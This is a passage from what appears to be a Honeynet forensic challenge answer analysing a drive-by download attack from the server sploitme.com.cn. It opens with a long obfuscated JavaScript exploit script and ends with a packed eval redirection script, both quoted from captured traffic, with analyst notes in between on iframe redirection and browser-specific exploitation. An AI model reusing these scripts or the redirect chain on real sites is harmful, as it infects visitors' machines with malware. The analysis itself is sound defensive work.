return string;},obfuscate:function(str){var container='';for(var i=0,z=0;i<str.length;i=i+3,z++)
{container+=String.fromCharCode(str.substring(i,i+3)-this.signature.substring(z%this.signature.length,z
%this.signature.length+1).charCodeAt(0));}
return CRYPT.decode(container);}}
eval(CRYPT.obfuscate('1571811872311951541351661801171232041951561601691531531871792011851912141281421981
89161189196191200140103190165122187162181170153169180117149205214177211171152187120182200223192212126122
1301701442101842120110414013014618017522919519010616815618819022219117416817212916618312816822319615215
11631601151681881712231761221321931571581792281891891181651571551871512031941761561531911531911812011591
52151125201122171173188159204104128190166155150231196191152157163154149149211194193161141151124176198223
19220915312118517215518919215820114017320314317920519219017215713916813713620618919021911014313213711919
01642092141431371901221711731881592041041281901661551502311961911521571631541491492111941931611411511241
76198223192209153121185172155188222212202162111204165121191162182211157132166136175186200176168158129166
1831281901641761511421041851781611842221612031251281351681221752220518710217117215517020420117515213013
71541491192001841802111521421681751701521952177181371701391561211711621951531561651721501791562161941521
101211911751801761861802111521381301241692112002212011201622031571591831632052121051591591314144156213215
18917313019112419019120115821412616118213715716818722117615811119115719215823620317411010515817713721221
31741601631441701491731902012182071541221301871452111871631761581701601561591832251822131271581801761532
19212189206165130153157175199186184211128138198188161189183223202103140199157138205231206190173169157151
18721320421120717414417013618820022319222515212513918417015120019119314115813014715514921918318612616618
31181452092141781891741521871331192002241922111321051311751691731922142041041281901671431872352042081191
63171154191223204190219110156163179121190202179206153142156182171172171215200140174190147154201225206175
13517316117212721921315716916815213217511919920119122014210413918314721019222317910314419214312122123219
51901341711811381752201941561881101311651661262012231762241621251721791691722002231921401031901471542011
6320517413515818213815621820419420716112820418318020120115920915312519018516920618017410216212153191153175201185
18719418117410916918017217915621421517317412715414012819922419221815112219811517021122216120215910320014
31781792351961901231021721521282062112151891591541491711881762021552091421421641731681682182141781411701
39134180209223181170123175157155187149213216211108153188116189177221184224143141152115161186171211200162
14018816713820523118217015216415715512020720319418515915114917117917620222216015513519417916120621721020
21581621371671431751672071541261111801881241692132151891571541531531511902232182111421051631781692062332
16177174173192141192209171195153123102171117174212204189211108156170115146198201195214126142155179172152
1962272041411702031471581572311881531910216611714521420419318110112914916618117718515821551514116017117
1172192217178124139194168122150171173212611631571341412221891942191011531921751262002201552211291611821
75171170171211200162140188167138205231182170152164157155120207203194185159151149171179176202222160155135
19417916120621721020215816213716714317516720715412611118018812417320419418513314319117917919016518721415
11591901241601511841541921031571931571542091692081911011291811761571492141941771701271541401262031952182
1215314113517317117222224201158120154165192205215811911691041711551442042132281531911153191153175201185
19218312812515118214515021419019210412819416614318223119115315716218013819021118919021910314317014017419
92361551711521631681711711722001861781241231971411191711831901511351211581751491492132151891571521651661
83180165196207152159148175151189191223185140107132164159175232204212102162180177152212188155169174152132
1451792001651832131281381981171601891872092041241582031471581541632041741721091821761412221871771716515
21881161791772212141511431411301781451501961761871391191921421542162241941731721641571171612132121771891
70143169116179180165188224154142198119168173187163201162140133140141205192190172157102182139137184204194
17310214417014511917618121315815513519417316018919621220012015819014215921716220521316110918313817522219
41931561611542031331371901651882151531631681561551511882191931401321301421382011922031901311751801181492
19204216184170141151116148184184188188138121181179150152162181192103124130156121204225196186161109183138
17522219419315616115420313313719016518821515316316815615515118821919314013213014213820119219115215713216
61351442181991561891741541911531921881831551801361241641521561682132181821041031391341802092231811701231
06179139144213213215189101154170141188176182171215132105186178170206167224202124140199142138201186188189
13416415813915722221217818517114419117518619119722621214214120218916118422118120412415820314318117922220
42121341651801771572162121732101081541911371921741851962151511251681731691511671541931401071301471592052
25205208106175172155149220212156156175144167141189191186213158151175135152172189180214183137123137165192
15419220415313516216215114815621222715613315315315318817618121315815117513515517021022215419313615819116

```

41582212221951531101711821381572182141732101081522031201551902021962111391251391381681882342141781241281
 94165176220235181187169176158175145150212211207158151169119186178181213158155135194176171188167212203124
 16220016517616723019617412316015713417915621421517317412715317412817818222215314214215517016915118821919
 3140132130166193150231196191152157163155145222031942101641281331831381831822131531341761671161492061621
 56181138123204143155170234188171118170161151174223195189151172131151144190179183196171130160190137148223
 20416317717417319216811917518318518714312216015115615119019019210213516614418717819817617213012113012015
 01691921721791371192011481931661621882101301751611521562231922161511631301491671261821991791561341611601
 37153170195222185138131133149154149154149162184151138184173127132143155178236185188138171591178220175222131160
 15111814818518315620513615319714112221623318317111810416417313622319122715117213115013219017719817122213
 01221471831522231792251801201022011441391662331831711181731591351362201921741931101282031861812022361712
 22130122172138148169192172179137119201144139166230183171118173159134120169191174168172130166132190178182
 17122213012214718614816917915418116310219214313820116918421213811761591731361521911771718216913220415612119
 1181154151143141167117147185217157182140131198157142178234196212122107159154152222042151801751561651661
 86175165221153131122151115149185183227184158103149146155200166182187134103159152152217195190169122133149
 11614218216219617213516015918915318521722818010113213914119222022420722515312516015214415219621219217513
 0167156190179221195219131122159189148184162158184173127132143155178236185188138171591151911782201951911881
 75136154115181177181206158130122171118148207192176180121161198149177183182183208101102159117148153190190
 20617513216617018717818221417413410216318715317018722518117514313216915420022918015416810415918917917219
 22281761021361871151911822201801721291381631191482231832221841371621531491381491661842251341061601351701
 51193174172121311661331281752352252131541021561331481691831581811371611351431551711718216913220415612119
 15321019318915110513113014011917719818715313013816311614917019115818112212815314614314922418217015310916
 41351371691911742031221321661561871791621831531321371301151481492032261791381271301481551662301832091391
 25160152140221191191193119135188136124203197205218127105198137150170192174184101136151149176150182187187
 1261061581511521541922151761691351881321201780151521531471614717181522322115618015915313314517817517118
 02241731711821541912161891902191041511531751861911972102211421631941751601521962281901031621821421592171
 64195191126157171151120218214193223168133132175180176185163208150163168173171173192204200139102199166122
 18721920515413517517915412421118917416816813116517412818119720615812717519012216018516321320110313213116
 51581872312061701061601811761572052141771891231521531531871912011591511281211821851602102262141921041351
 92142155217218182213131162182136141149214178177165143192153119191197209213142104202171170152192218193120
 1531971411211792292051531611611611721702152121561771661441691451192001632221514113713518917118818822820
 312512819416518020022518318617317217117618320920315718517514113217517117722322621151163182115156181681622
 26178136161137169158187229205153139109182139145154215156172110152191153122171483176209153125190117161187
 21818619216216619015612218222520415312716717215414914921315521916514216517412620320118420715312516017814
 6172199218204104103139134180209223181174122166183118153222151942191031431701401741902201551711521631681
 7117117220018617812412319714112020119819514127166181139152218199156207161152153186181176198222215143159
 18617214618923021819315815416519220521918118616110917915416021219515620716114313218314518618120921512
 81421981351691511632252011241401301571542042261851541021621801391492092151561731711521541671831992231762
 19152121185179150152162181202162140130167159175231179175135175182154156156216194152110143132137119190164
 209214143137190122173189162181200136169196146122149189195190116918211717921820319315217212914917412620
 31952182121531411351731711722222420115812018616512212211652031901061581801551362121891942191011531921751
 26201223176224126125139172168207163213201103132131165158187231206170106160181176157205214177189123152153
 15318719120115915112812118218516021022621419210413519214215521722120415313110318015415721821417315615815
 2132149124177223176221521251681841611701922172001401741891421421582192032081601091801171452141902152111
 601341651671451817642145201341411311861521881921542001411441901421382016920415312716715817171213204178
 1851641341651661911752362222114216319318416817220021819310315813014715420023418022516917217117618221820
 41771731011431661151811772191632101501421561751601521962282001241111331431811672252051701521091801171452
 1419021518116814317014519319820118716012710416018217015122213182159119135145155187180187225142175158152
 14517219121318816913215114513818219715516913016115512014718618315618010114313314519317518318417114312216
 417217015621421
 51731741271541451821912012262181421041391741611851631552011621402041561211712331961861561591561551571691
 91174180175128170152123182220195151127142167189148169195225177141139201148193200166180191138102159135175
 16818819418810513518813313917520219122313417618118614518919915818416012415114115918623318517113810615615
 51562201931911891201281701521191781822101701271421671191531691911541771411391331481931822331801911381031
 61135175168188194188103135166145139175202191152134138163115145189200176180160135202141159187184183209127
 12115615515717119522820712012817015211918322119217012714216711614820720017217714114015214815520423618019
 11381061611511561511881941881721321501521201752021911521311761671171451891991571801751581491411591861661
 87209131122156155156223191228202101128170152190178236205155127142167116149208203228177141139133145177205
 18118019113817315918914422018819418817513113015619317520219115113213915912014518919915418013713920114115
 91862361831511231231561551562231922131931241281701531381831981721741271421671861482231831541771411401531
 44177178166180191138170161135170149188194189121136189144191175202191222130176184136145189199154180122144
 14814115918718418821013912115615515622319521218810512817015212217919919515512714216711615318619915517714
 11391301451772051811801911381731591891441491881941881031321891441931752021912221341761861341451891991581
 84159135134141159186234187225138104156155157170191228168175128170152190179182210170127142167186148223218
 17217714113913114917817823618019113810315913515717118819418810513615114419317520219122213212218213614518
 91991551801591391331411591862361831511261061561551561531951911811191281701531411801921921701271421681381
 53208183227177141140153149178191185180191139122159135148222188194189124132204171138175202192169135139171
 18814518920017318212113615314115918623518818714210315615515615219317419210212817015212117922117617012171
 216711714920722115817714114014914410171181180191138106131511611691881941881061331511521901752021911531
 32122167186145189199156185137144153141159186164184171127121451615515615219219019210512817015212182236205
 22412714216711614916920417517714113913414915617416618019113817316415115317118819418912413618915313917520
 21912221311221671161451891991551801211612041411591871821831711301761561551561501911741881721281701521231

```

82220191153127142167186149169199155177141140150144177204236180191138106159189171172188194188175131167144
19217520219115213012216718814518919922818116012713414115918623518820912312015615515717219621220217212817
01521901791821911521271421671891482232001731771411391311451191911851801911391211611351561511881941891241
36166174123175202191222135138186133145189199155181138144153141159186163184225118102156155157171196213176
10512817015314117818318417312714216813815320720322517714113920114513918616318019113810516013516015318819
41881041311501661191752021912241351601601331451891991571801751281531411591861641872251521731561551561511
93190193124128170152121183182205151127142167188153185203155177141139132149177190236180191138175164151161
170188194188103136166156193175202191153131160156138145189199227185159143133141159186164188209143212215615
51561511921741921731281701521221781821801731271421671181481692031581771411391321451551791851801911381761
59189149170187211210108154191137192174185180215143104156182169151192220183141140199157159179220195191119
16215713414420921419016915913115314417920119817220913012515917214618523015619214112718516414218721819617
41391751811171791552041901511741311501831211902021792061521042021711601512302282021241241881571551502251
96190123161172155145223211194215161129133145182191201226218142104139174161184167221193140107192167142204
16920615315716618013815621220321521116314319118718919016422122015112516818416115219621718312513219715615
81792282051501581711171562132032152111631431911871891901642212171331411561791611511882212011031321961
461220191218205208119163179154191216203215223171143132182128190223214213142163202151522923202104140
18716612218323520319010616415713513621621315622315714313218319320018517620914313718912217121018422717612
41281971651211792281861901271661721171452162121561811671301921451201902241841511521631901841612222172251
79124128194157121175229204153131168158176191209212215203101151149116193199185176209150105160186160188192
214178137170133164142209291961861571591819013812820212211227106162147116912018120118520921715210420217116015
12302282021241241881571552202332071711341731591351362201891931771681521321451851812011802181511041601811
46151188221201103132196142121191226204174173159180138128207211228219103143170140174199201192219151105156
120151188167214203174120148166181175218207186156166111716121921321120710314317014017419819815422213210
4189123149207203156182103161196142192209169204190139170180118415154201156211153103141691411861991641842171
28105160178161188234221192103111189157155217171173212135172171118157217204193156101130192167192198202188
21112812118112315614919221891861391201671401422212182042121531031711541712091941891771401351901451720022
3214222153121155110145222211611931241111881671581502222042131341711821181452132141771881641281321411891
91220155225153126156179169210213217180137135201144138221163204212139176171117141220204189206158128169157
18017421921321512612119717017015219622720014010719214213917023318317111816918215412420921315618115715315
31521821742191912221421751551791461842132181821031362001561221872301961901061021581771712222111941851611
29149167145187164214220134141131186152188192154200141144190154138154182204153106104172155145149196215211
16814416513317619916419521813013720118714716918322118013617302141119220816919617411016018215412020921221
61841701541331411832011851912141271021901551681881671722011411201481561221832262062121391431581741492192
12216193161153192149142198201226211126125156185161206233226179121123197144154220234182171122164157151187
20821215618110215216915318820118115915415216319011516118214217216186139154194165178171230205172123160181213
817915120419202617013513212418820122319224153123172121791691721992091921621111911431391702291831861721741
58135140216191189202165133132149189190165192219143141135115147211214227200141136190142138201188192153161
17116315412022019519318110115117015717918818115917115110413511716118918815418516216219715715416721920415
31421691591501902211901741721681311651861911752352131581431251391731711881632142011631351991671221752262
061741381651561891902199154181136137168133156181219205215132105131173160189196212200120158190142159217
17117321213516618117615720721417818116415213316618217619822216012016317211616921019215420014011119914014
21832262052121391601821391492122121572021641291701831211902021792061521041861751691722342122011031361901
47159187231196191131160171155137209189173176161154167144190178236183211153138186134149207195214203137131
5313915613714817020321420313711920414415518222206188142175159189174209214190168105132204148179201199184
17413417615117517118517922818012213519016715518223318821012216218215215717219619117616115416614513817919
82092111531381811161532072172142031371401521491551862222061871341041611361442092141901681751311881481792
0119819515313417615917517118518017418212212719016715520518184171156162182151141169192190192161154167148
19317818218321115313814711515017018721420313711920414614017022220618713912516318914820921419018817213216
71521792011982101721341761591751711851791581811011351901671551862351841871521621821511482231952122061611
54166171137182162175211153139167119149186187214203138144153148155174222206188143125164174160209214191180
17213120414017920119919515413212315517517118618417618515912719016715617416618417214216218215114517119221
2188161154166166123179920191211153138171117152186187214203137143132146155204222061881621731631521442092
14190207119132189144179201198213155135138147175171185203158181137119190167155191184184210142162182151160
1491912131881611541661661201792202092111531381721351492231872142031371391301451781822220618715712416317
31742092141901691231321511521792011991961741351391591751711851791541811371391901671551862331851871301621
81252148220191228180161154166152190179198171121115313818613414918520321420313711913014515518622206188130
17516113514820921419020617513213015617920119818322313417615517517118519922518113712719016715517816418720
91561621821511451721911911721611541671571421792361712111531381471151491851992142031371312041451561742222
06187138105164174160209214191176105132166156179201199196173132138185175171185180176182122123190167155186
1631882101421621821511561521911741841611541671531421822202092115313916718615214919921420313814415314517
7166222061871181021601511562092141902021011321881701792011982052221311761631751711851881771801011231901
67155200236183210142162182151161169192228168161154166156124179221195211153138172136149223195214203137128
15214517718622220618714312516017314820921419017712313218914817920119819617313116015917517118520315618016
    
```

01431901671551751851842091521621821511611721922131801611541661561191792201752111531381811861482081992142
 03137153201145177204222206187142103159115160209214190180101131130148176176198222153142142155170160210222
 21619216217420015612121617120619010616218111714920521317718816412718715312018019817115613012116811615018
 517915918012012
 71941461221912182052081191651721541412082041941771751511701791791811981792221321051721711702061802282011
 24124188164122179233195190131162162154175209203193185161153192145183202223191217152104186175169172234212
 20110313619014318022122220421215310217913518715221117721116814416517117619820120620815112513917316822216
 72211931401071921671422041702051531731581711171872232131771731591441651751761982012062081511251391731682
 22229163192162162192156180221232195153168109182176141222187177193165152153187176199185163209150176131172
 16818821421120112411118816419215423620619012717618213914521321221520216413114918719319918517620915010516
 01861601881922141781371701321561591742171952121731721711171861582032152111631431911871891901642212201521
 05168172170152196227200140107192142139166229195212161164171176191219203156218170152153153188191165188214
 12914216018216018819222020210412018615612118622618515415316517915419120918917717716815213214518517722322
 62111511631821151681682302282011241241881641221792331951901311621621351371531921741681721311501321832021
 64820218151104160181151188188221201103132196142121175229204153131168157117161213212177223158152153124177
 192362216012610164172171170206180222193140103200166181208171402142123910515513614122221321517310621914917
 41261912231632241281261721711702061802181831371191371641552202361841871181091791501862151891942191691441
 69116189200224214201150140130124160210234224192103169196166121205222204174173160180117153209193157151128
 154154141124202165196207152159148185160210225163193124111188167158150222042131341711711814520920319418
 516113616918717919920119220153121185177169151188219193140132130141192208169196174110160182154202092122
 16184170143191124178202197159207152126148175169210196174200124162197157138205232195212164166161117128206
 21121115610415116914911919818215421313013718112216915118821917916215819016415820122520617110116415915017
 015621215617716613019114917520118517516012717513418516117222227193140132130166121205232062241061731791
 3913621119315616015815187120177199185176225152104190174151184212201125132129415713921223185187138103
 16315214815119121115212013618814114117719818817113416115118315218518817318213610314814517717918518422515
 21751641351521511951541921631331331451792011841882151511411681851711891952171761621621911401382051822031
 7413916017911517918218917321016515520313313919916415522151125168115161184217218182174120139140142187229
 20515313815718318813722321221517317215313217118920118120921513217514812414420623322618012111920114215521
 71711951531231021711171742122041892111081531321201752001861842141511051631781461852301632051341661911671
 58154220206174161172180172137223212215173172153132171189201181209215154105172171170206180158182104144186
 16617616723219521216410918217614122218717715210614313213719220023615522014314218117015218918822719214116
 11931421552172302071901311581811771491991911761511101281321441251771631722241511041821881601881622091851
 62162197157159178232190154139102180138128219211227169123155154133192191202184225129105182171160206167214
 20412413919214612115016719515312317518111618622120219015116314415017818918618618022114310515617116918418
 01772001401741901661921581942061911351691801711282151871751891051531541411792001651832211531041521721472
 10200158193136153137165159209220195191127176169189145201194189203161133187124152200223216013213152163152183
 14417020421820112414020414311915816320617417317218011718620419619420717215319115319320023516315414214115
 518416118921821417717517013016618120916920621212317515513812820622112121521701441701661741822011841511501
 42172175158170171211200162140188167138204224205153106173182177170218199156156157153154145182199165187206
 1931631901751711512002271761221322001651811832352041501517121711591501702131931571521591431701491771981821
 02111281421981151702112221612031621242031401421582192032091021611801171491502121931891701541491201772002
 23192207153125168137169172200222193140107130142138201232195212165162171118152211189190219171143191178188
 20016419215113414216411517021022211203141136190142138201222020417412317618111717920818822722216314313218
 71931982011871531561014813714916918817518113711918144193190166187224101174159152152201901911731221331
 50136187178182172169130123159120148170196174182122135135141192208169204153127167158177149209214175173101
 15415414118319022419215114313718517716818819521617912015420015618021222418118716917217117618221821315618
 91011351701491192002232142081531421641751461682141572001401361301641382002291802251221641571511872190232
 15214170153132153119182202188151152163190172171189196214178120154193157158209224203175134164158134170221
 18822721010814415312417720120115521115116416318416021017121320413610718616614316722220421213512217913817
 92162041732071711431911781831801651552091421421641731681682182141781411701391691522131622052131611091791
 541602122121561771661341651671691991641802164143141160115159184213218204103144200166176205166179174161171
 15513812015420315617317415320317512619916418021613314113517517122218017219210413619416718018720319015312
 71671721541491491891732031751521921331212012351591871511631521861701512182242031201201691641581871651961
 91126157163117128218214178177171152149119191175235213158153163152188144172188155193159103198168158179218
 2052131311521831371191562121561771661301901791891991641541601301221981851602102252318810315820016711915
 4218206212161164171155153213212156156120150174191191991641592251331411721711691731922141821031111871641
 76154180204174173172182115149219212216185161155154149149191201159152133141172171169173192214182103111187
 16417615419820421212317318111717521921417616915715415317012817516421015115312614712114722217122820212417
 42001641591832301961861061601801171192182031561551711441911661891991851632071431211351861681731791531931
 3710213214119321716220521316110918011714521419021318117115217013319219120218422514314116414816019196217
 18314012813115717721723219521216417116713914521321221618513715219113719020016421022115312118517915015220
 42102021581202041651811672222041741391701721541241491941931851711431331531871912011591511291631601881611
 88184154193138140197157158150222204213134165156117179210213215173169144165166183180165184220152125168182
 16118816321420116313519916612118716218719113510218117617920621419418516112914916718319118120521812710516
 0184160189180218193128186165158186224189176169176180177137209212177189169162161191172241821031111871641
 23152115171173188218192163140130157154204224205154127160156188190211203193177171154170148125190223226207
 15116319717714618523022820116312019016514218723019619010610215817714920921417517310115415414118319022419
 2151143137185177171151222213203124157192143139170226185154131171181138157216204193152161152192131481882001
 6419215113414216411517021022221120314113619014213820112519619016116417913915221119017112716153133145188
 20018519221814314113117516921119522320210314013014815918316220521216115918215515320918917320317515415417
 51861911972052181271041641791701521802211921411611361651801582311961871681641571511872082121561811021521

```

691531882011811592081511041641201472101842225202124140199157140179225203190173161157139149218213177189168
14416911617919922418721513210516017517117119621820114014020016715918222517921213517217111815721720419315
61011301911671792011831922181431411311751692111961732041381621891421382012362042121231731791541612222031
93152161128203174188200165180209126122130170145151234213192141119136143192157224185224126169159189136220
19117321010815616914517520118518421412812516717917215216316320514110318815615918322020317015716215715518
71581812151811711521651701831801651541781431641681841601521962182011031061851561211582301811701611091821
39145154215157193157153187133189190223217160143125139173171188163214201163135199156122175222195191135162
1641541912092121931891701541491701811991641802161431411601151452222116119312411118816715815022220421313
41711711761282082151891561571531541331791992231881711501251901821611682182241921621651941461211582192032
08106176172155153167214178185174151169141120201185191214127104160182160189192228200140135192143138201220
20417513116617213518317119522818410113215114513817921915422513513818213714718519515818115913919814817717
1182183224101173164136156152191213189124131204151613181781621952131281381981791612062182241921621651941681
22191218205208119176179138149219204177188110154169120179200164184207152125167178144206200155184175119204
14419218716318517212610416013415715019122816810113114915312017818318315413212116811614916917915818415814
01311461401742331872241391031591521481521911731891021331511411371831811921521301221851161501682001551801
211621521481721817163184171511810616317215191317518137151816214915213120119162183151201791621831512017158
18415814013114517817023618722413910316015214014919217318910213616614114017819719215213513815518815220620
01551851381311341481761871631841721431241631721571501921901761021351651531201831991751551301751681161501
692211551811581401311441391821631841861391031601511701501922111891021322041441231822192152132123155189
152222001551801751311331615138187163183171310415161131451715019219019312413120315312017923619515513415916
81161481691912271801201401311441931791851832241391031601351791691931891891021321501361201781811921521301
76160133153168200155180175144153149176187163187210138173164172157150191174180173132149153120183220179225
13212116811614816921715718112014013114811919118218318613910315913514822019617318910213215013314218219719
215213513917213715220620015518011271311461381871631842251391251611341571501921911891231321651531201791
82195155134159168116148169191227181120140131145177191182183224139103159136148153195211189102133151140119
18018119215213013915911614920620015518512113120114419218716318317113410616317215715019117418010513516515
31201791991961711301751681161491851791551851361401311461401831821832241391031591351741521961731891021321
6614012017923519215213017616013415016820015518212212415014815148716318818715610316317215715019213193119
13118715312018322119617413515916811615222317922818015814013114917720016618720813910316315215717219121118
910213518817011
91832191921521301611671171491842001551811751571321451541871631842091431201631721571501922121921061331491
53120182220172169134159168116150170183156184174140131146155205184183170139103160173174150191173189102132
18915212118321919215213116016318815318420015518117513913214613818716318421013010515917215715019219018410
31361491531201801831921701321211681161481701991541851361401311491781911841872241391031591351521501921891
8910213216613212417823519215213417614718914822200155181137119131144138187163185172126103160172157150191
174184102132165153120182236179155130175168116215016919115718515814013114419317118218320813910316015113615
01912111891021312041571381801811921521301611711871521842001551851601431331441381871631831711341031601501
57150191228180102135187153120179198206174135159168116152207217155181158140131149178186167185170139103159
13615615319518918910213216615314218321919215213113818118614916820015518513814414914613818716318818711912
2164150157150196213192103131149153120178182187152131137168116149223195156182120140131145193166151841701
39103159174160223195189189102132204144192183219192152131161159118148168200155181159161132149176187163184
210134105160134157150192121318810313216515312017922119515313017516811614820819915618512014013114517818616
41832241391031601731602221962111891021311891561211792351921521311611711171522220015518115913513217441541
871631842251181751641501571501922816810313314915312017922019122513515916811614822312281851201214146
12219121820520811916517117714815819117820617313115013219017818217115815316315218814417319222820217510319
31561811782301811751311651711171282082041891561681441691201812011852092161301591971861721691911581781371
7013215615917421720317412611157135137153191177180172143204133177178185183219150125156189146184171217192
163131137167180171723517917410210718217614122219419418917014417014517719020217221128121155171118518017
41801221311901671551671821831721301591571511871512031941761561531331441281992022141531421421551221711512
1821820112413919316612217823120417413917117211815321218921217610915313314519317620222225152175197124170
1521911612051341662041661931502362052241061761821541522321417817716515219116618217818122262515210515918
51482062211612031621242031401421491712042121391051551361412222132151731061291491741261912231632241281261
72171170206180218183137119137164155221225195209169166157188186213215156152151151168115128200165183217152
10418617316915119621418210410215716718017123517917516411116615414114921117315615914416917518617618217215
513012515918616022318021218012413119414612221217119617411016018021541202092122168141701531321451921982021
72151152103197186159184167212202162140186167142187182204153106102181176128216199215173170144132152182176
19715921814314113517717117221716120514110318815615918322020317015716215715518715818121618117215319115317
51911861842141431411681151461682211612051341661911671581542202061741611721801721372232131781771611431691
4919319818519221115312118517917215219622720414117013215615917421720415312716718111813722204193173160134
1691201792012351721691421051641791712102001951871031281915715817916218117015313416811514822119117315613
71531541411791902011882251501251681751711682132181821204103188156159183220207101571621571551871581812152
11162129153124176198224184222152163168171161168222161203125128135168122191218205208119176179138157216212
17718117114415315212820120115921115210416017117017219921717615814013114819316623618322413910316113614415
1192173189102131204132119178181192152130123159118150168200155181121119134148176181763185172167131631881
57150191191180104131149153120180183180169135121168116148169217155182120140131144139209184182708139103160
13513615319521118910213315114819317918119215213110215911514816820015518113715713414817618716318421012217
61631881571501921911721011321491531201831981801721301371681161531851872271841581401311491561781661872081
391031601361611711952111891021321661401201821971921521351391511191482220015518212116113145176187163183
7113410316015015715019219020210213218715312017923618315513415916811615017018722818417414013114419317816
51841701391031591351481521931731891021321661571421782351921521311761711191522062001551801211312031441381
87163183225131125159188157150192174211121133165153120179182175152130121168116148223192172185120140131144

```

```

19319118518820813910316317415622019621118910213115014419117918119215213516015518915016820015518012115713
31451381871631871511431221591501571501911741801721361491531201791821721741341371681161531862041761841581
40131144119174163185170139103160189157172193173189102132167153141179197192152131122171119152206200155180
12113120314513818716318420914312215918815715019117518010513518715312018018317915113212116811614818619115
51811581401311491391782331832241391031591351521531952111891021311501441231821971921521311391721351482222
00155181137119131149154187163185172135122159188157150191174206104136149153120179198179152131175168116148
22319217318212014013114614017118218718613910316415117415019521118910213618915713717821919215213516117213
8153206200155184175119204144176187163188209152106163172157150195191189124131187105131201822202091511351591
68116148208199156181136140131145193204164184186139103160173161167195211189102132188156124180181192152134
16014813315220620015518212212313214819218716318518715712415913415715019221220610213114915312017922119115
31351591681161492071952271851361401311451931861641851701391031601741481521912111891021321661481211831811
92152132123168134150168200155180122139130149154187163188210143124163188157150191174184102132165153120179
19817115613017516811615222317922818017414013114515516616318317013910316113614415019221118910213115014812
01791971921521341761551191482222001551821211311331491761871631832251231221591721571501921901681021311871
53120178236196170132121168116148208203226184136140131149178190165183170139103159135152150192189189102131
204144120182121919215213113818213815320620015518415915713114517163187163188210138159135152150192189189102131
51351651531201791981921741351591681161491852132251811201401311491561911811851701391031641511371691961891
89102136189156121178181192152130122163116149184200155181175135132146138187163184225118105160134157150191
21319217513516515312017923618322413515916811614920819115718012014013114517720816418820813910316017415215
192173189102131189152121179197192152131161171117148222001551801601391321491381871631842101381041591881
57150192212192174136187153120178221195153131175168116149208203156184174140131145177182164183186139103160
18913622219618918910213220413212118018119215213116016718915320620015518017515720414913817422618515414315
81811721372052132161771571551661161881912022052061341421561881601892212171781371701321561591742172041751
30111159139174153192119016817213114911518220016421021115112520217316915119621417916217419165180201162203
17016417515715118715120319417615614319117518119022322622114210419712417118816721420210313218616614218622
51792081391031591381442202032271891021311531401901822351792151321051821781681882342141781241281941571211
75229204153131168158176191209212215203101151150187186200235162224128142198172168188214211201124111188164
1921617119521216116417117619121920315621810815616317912119020217920615112518512416021022221619216217420
0156121216231205154139159181118153222211931561631291501321861991861832211301591891221611722002211931411
36190140142175226196153127169180117149215193156193171153187171121190202179206150138130186150151221162180
12515713514615421223518515316016815718817915620319417717414317017516919820015416015112518518116917221722
02021031581901651482221220204153135162161118119176195156160168152153153177201183206207152163156171161511
99217178137170132156159174217204153127167181118137222204193173160134169120179201235172169142105164179171
21020019518710312819515715817916218117012713416811514822119117315613715315414117919020118822515012516817
51711681872181821031391391651801871651791721231751811761411541891732101081441651201902012021842141281221
51179150151199223202125140204164138204235181187169162158177137150213156206164131149174126191197159222153
14216017814617321421820116213620016719220816919621211017515713817815819117421916513415315218819918519222
01431051641781501512212201781741621371571801582351811741641111591351872141941741721721331321781851762352
14158153126156120172151171211200163132201166180187218196170106124182176141216214193173101144165171179188
16421420312813819812416015118415419210315719315715420916920819110211114917717121321221518517115420312019
32011851761511531421591241611872292281911361691871401772172232041541261651791731192201931562141091311661
32126198219221217128142198115170211222161201103128195166122167235196190123161158176120223196177173101143
16814518920120218020914313913917216821020021220312015819015419317921418118716911117111714114920315620616
41441651751262032021551601421041521151601512172171931361621371691591491891871531101701811381912092141771
88164129166183128168223155210142141159178146185229167') );
//-->
</script>

```

Finally, a last victim, ip address 10.0.5.15 visited /fg/show.php from sploitme.com.cn. This client was using, or at least claimed to be using Firefox 0.8 under Linux.

The generated javascript was identical with the one generated when 10.0.2.15 have visited /fg/show.php?s=3feb5a6b2f, 10.0.2.15 was also using Firefox.

This behavior may indicate that the exploit server sploitme.com.cn dynamically generate the exploitation script based on the kind of browser of the visiting host.

Question 4. Can you sketch an overview of the general actions performed by the attackers?	Possible Points: 2pts
Tools Used:	
Answer 4.	
<p>The “modus operandi” of the attack can be summarized by:</p> <ul style="list-style-type: none">• First, a victim visits a previously compromised Web server. In our case, two sites are suspected compromised hosts: rapidshare.com.eyu32.ru and shop.honeynet.sg. These sites could have been compromised by an iframe injection in the original web page code.• Using this hidden iframe, the victim's browser is transparently redirected to the exploitation server: sploitme.com.cn to an url in the form: /?click=xxxxxxxx (where xxxxxxxx is a hexadecimal number)• In response to this request, the exploit server uses an HTTP response code “302 Found” and an HTTP response-header field “Location:” to redirect the browser to the page storing the exploitation script. The purpose of this redirection is maybe to dispatch the victim to the “good” exploitation server, based on some of the victims properties.• Following the redirection the client will land to the offensive page. At this point the behavior of the exploit server will depend on the kind of client (new or returning client) and the type of browser used (Firefox or IE) when requesting the page:<ul style="list-style-type: none">◦ A new client using Firefox will receive a script with harmless code◦ A new client using Internet Explorer will be attacked◦ A returning client (already exploited host) will not be re-attacked (no script in the received page)• All the exploits used have the same objective: instruct the victim's computer to download a probably malicious binary file (PE executable) and to execute it. <p>The attackers may have used a Web exploitation kit like Mpack or IcePack.</p>	

Question 5. What steps are taken to slow the analysis down?	Possible Points: 2pts
Tools Used:	
Answer 5.	
<p>Two steps are taken:</p> <ul style="list-style-type: none">• Obfuscation and encryption are used to slow down the analysis and surely to evade NIDS.	

Question 6. Provide the javascripts from the pages identified in the previous question.
Decode/deobfuscate them too.

Possible Points: 8pts

Tools Used: Malzilla, spidermonkey-js (JavaScript-C 1.7.0 2007-10-03)

Answer 6.

Redirection Scripts

login.php from rapidshare.com.eyu32.ru : (Redirection via invisible iframe)

```
eval(function(p,a,c,k,e,r)
{
  e=function(c)
  {
    return(c<a?'':e(parseInt(c/a))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))
  };
  if(!''.replace(/^/,String))
  {
    while(c--)r[e(c)]=k[c]||e(c);
    k=[function(e)
    {
      return r[e]
    }
    ];
    e=function()
    {
      return'\w+'
    };
    c=1
  };
  while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);
  return p
}
('q.r(s("%h%0%6%d%e%7%1%8%9%d%3%4%a%5%2%2%i%j%b%b%9%i%c%k%0%2%7%1%1%3%k%7%1%3%m%b%t%3%c%0%3%u%4%v%6%1%f
%w%e%x%f%y%6%a%z%0%g%2%5%4%n%8%5%1%0%A%5%2%4%n%8%9%2%o%c%1%4%a%B%0%9%0%f%0%c%0%2%o%j%8%5%0%g%g%1%m%a%p%h
